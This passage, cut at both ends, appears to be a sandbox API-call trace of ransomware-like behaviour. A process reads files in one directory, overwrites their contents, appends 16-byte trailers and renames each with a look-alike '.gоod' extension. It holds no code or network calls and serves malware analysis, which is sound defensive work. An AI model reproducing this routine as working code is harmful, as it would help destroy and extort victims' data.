"c:\\588bce7c90097ed212\\dhtmlheader.html"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x25b67aea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f06)) returned 1 [0069.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0069.621] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), lpNewFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.gоod" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.gоod")) returned 1 [0069.688] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DisplayIcon.ico", lpFilePart=0x0) returned 0x25 [0069.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0069.697] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), fInfoLevelId=0x0, lpFileInformation=0x35e2970 | out: lpFileInformation=0x35e2970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5)) returned 1 [0069.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0069.698] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DisplayIcon.ico", lpFilePart=0x0) returned 0x25 [0069.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0069.698] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.698] GetFileType (hFile=0x6b0) returned 0x1 [0069.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0069.698] GetFileType (hFile=0x6b0) returned 0x1 [0069.698] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0069.699] ReadFile (in: hFile=0x6b0, lpBuffer=0x35f3fc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x35f3fc8*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0069.700] CloseHandle (hObject=0x6b0) returned 1 [0069.700] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DisplayIcon.ico", lpFilePart=0x0) returned 0x25 [0069.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0069.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.700] GetFileType (hFile=0x6b0) returned 0x1 [0069.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0069.700] GetFileType (hFile=0x6b0) returned 0x1 [0069.700] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x159d5 [0069.701] WriteFile (in: hFile=0x6b0, lpBuffer=0x35f5220*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x35f5220*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0069.701] CloseHandle (hObject=0x6b0) returned 1 [0069.705] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DisplayIcon.ico", lpFilePart=0x0) returned 0x25 [0069.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0069.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.705] GetFileType (hFile=0x6b0) returned 0x1 [0069.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0069.705] GetFileType (hFile=0x6b0) returned 0x1 [0069.705] ReadFile (in: hFile=0x6b0, lpBuffer=0x35f74c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x35f74c0*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0069.881] CloseHandle (hObject=0x6b0) returned 1 [0069.881] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DisplayIcon.ico", lpFilePart=0x0) returned 0x25 [0069.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0069.881] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.881] GetFileType (hFile=0x6b0) returned 0x1 [0069.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0069.881] GetFileType (hFile=0x6b0) returned 0x1 [0069.881] WriteFile (in: hFile=0x6b0, lpBuffer=0x30d0db0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x30d0db0*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0069.881] CloseHandle (hObject=0x6b0) returned 1 [0069.885] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DisplayIcon.ico", lpFilePart=0x0) returned 0x25 [0069.885] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\DisplayIcon.ico.gоod", lpFilePart=0x0) returned 0x2a [0069.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0069.885] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x25df277d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x159e5)) returned 1 [0069.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0069.885] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), lpNewFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.gоod")) returned 1 [0069.886] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\header.bmp", lpFilePart=0x0) returned 0x20 [0069.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0069.886] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), fInfoLevelId=0x0, lpFileInformation=0x3134700 | out: lpFileInformation=0x3134700*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c)) returned 1 [0069.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0069.887] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee060, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\header.bmp", lpFilePart=0x0) returned 0x20 [0069.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee580) returned 1 [0069.887] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.887] GetFileType (hFile=0x6b0) returned 0x1 [0069.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee4f0) returned 1 [0069.887] GetFileType (hFile=0x6b0) returned 0x1 [0069.887] GetFileSize (in: hFile=0x6b0, lpFileSizeHigh=0x1f6ee728 | out: lpFileSizeHigh=0x1f6ee728*=0x0) returned 0xe2c [0069.887] ReadFile (in: hFile=0x6b0, lpBuffer=0x3135738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee658, lpOverlapped=0x0 | out: lpBuffer=0x3135738*, lpNumberOfBytesRead=0x1f6ee658*=0xe2c, lpOverlapped=0x0) returned 1 [0069.888] CloseHandle (hObject=0x6b0) returned 1 [0070.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee580) returned 1 [0070.392] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.393] GetFileType (hFile=0x760) returned 0x1 [0070.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee4f0) returned 1 [0070.393] GetFileType (hFile=0x760) returned 0x1 [0070.393] WriteFile (in: hFile=0x760, lpBuffer=0x32b2278*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x1f6ee568, lpOverlapped=0x0 | out: lpBuffer=0x32b2278*, lpNumberOfBytesWritten=0x1f6ee568*=0xe30, lpOverlapped=0x0) returned 1 [0070.394] CloseHandle (hObject=0x760) returned 1 [0070.395] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\header.bmp", lpFilePart=0x0) returned 0x20 [0070.395] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\header.bmp.gоod", lpFilePart=0x0) returned 0x25 [0070.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0070.395] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x262b4f37, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe30)) returned 1 [0070.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0070.395] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\header.bmp.gоod" (normalized: "c:\\588bce7c90097ed212\\header.bmp.gоod")) returned 1 [0070.396] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", lpFilePart=0x0) returned 0x28 [0070.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0070.396] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x32b3480 | out: lpFileInformation=0x32b3480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200)) returned 1 [0070.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0070.396] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", lpFilePart=0x0) returned 0x28 [0070.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0070.396] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.397] GetFileType (hFile=0x760) returned 0x1 [0070.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0070.397] GetFileType (hFile=0x760) returned 0x1 [0070.397] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0070.397] ReadFile (in: hFile=0x760, lpBuffer=0x32b3838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x32b3838*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0070.398] CloseHandle (hObject=0x760) returned 1 [0070.398] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", lpFilePart=0x0) returned 0x28 [0070.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0070.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.398] GetFileType (hFile=0x760) returned 0x1 [0070.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0070.399] GetFileType (hFile=0x760) returned 0x1 [0070.399] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1d0200 [0070.399] WriteFile (in: hFile=0x760, lpBuffer=0x32b4aa0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x32b4aa0*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0070.400] CloseHandle (hObject=0x760) returned 1 [0070.613] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", lpFilePart=0x0) returned 0x28 [0070.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0070.613] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0070.636] GetFileType (hFile=0x6b0) returned 0x1 [0070.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0070.636] GetFileType (hFile=0x6b0) returned 0x1 [0070.636] ReadFile (in: hFile=0x6b0, lpBuffer=0x322b9f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x322b9f0*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0070.844] CloseHandle (hObject=0x6b0) returned 1 [0070.845] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", lpFilePart=0x0) returned 0x28 [0070.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0070.845] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0070.845] GetFileType (hFile=0x6b0) returned 0x1 [0070.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0070.845] GetFileType (hFile=0x6b0) returned 0x1 [0070.845] WriteFile (in: hFile=0x6b0, lpBuffer=0x3206d68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x3206d68*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0070.845] CloseHandle (hObject=0x6b0) returned 1 [0070.881] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", lpFilePart=0x0) returned 0x28 [0070.881] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.gоod", lpFilePart=0x0) returned 0x2d [0070.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0070.881] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x26753945, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0210)) returned 1 [0070.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0070.881] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.gоod" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.gоod")) returned 1 [0070.881] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", lpFilePart=0x0) returned 0x28 [0070.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0070.882] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x34217e0 | out: lpFileInformation=0x34217e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000)) returned 1 [0071.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0071.122] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", lpFilePart=0x0) returned 0x28 [0071.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0071.122] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0071.122] GetFileType (hFile=0x760) returned 0x1 [0071.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0071.123] GetFileType (hFile=0x760) returned 0x1 [0071.123] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0071.123] ReadFile (in: hFile=0x760, lpBuffer=0x35720f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x35720f8*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0071.124] CloseHandle (hObject=0x760) returned 1 [0071.125] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", lpFilePart=0x0) returned 0x28 [0071.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0071.125] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0071.125] GetFileType (hFile=0x760) returned 0x1 [0071.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0071.125] GetFileType (hFile=0x760) returned 0x1 [0071.125] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x11c000 [0071.125] WriteFile (in: hFile=0x760, lpBuffer=0x3573360*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x3573360*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0071.126] CloseHandle (hObject=0x760) returned 1 [0071.155] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", lpFilePart=0x0) returned 0x28 [0071.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0071.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0071.155] GetFileType (hFile=0x760) returned 0x1 [0071.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0071.155] GetFileType (hFile=0x760) returned 0x1 [0071.155] ReadFile (in: hFile=0x760, lpBuffer=0x35755f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x35755f0*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0071.468] CloseHandle (hObject=0x760) returned 1 [0071.468] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x86.msi", lpFilePart=0x0) returned 0x28 [0071.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0071.469] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 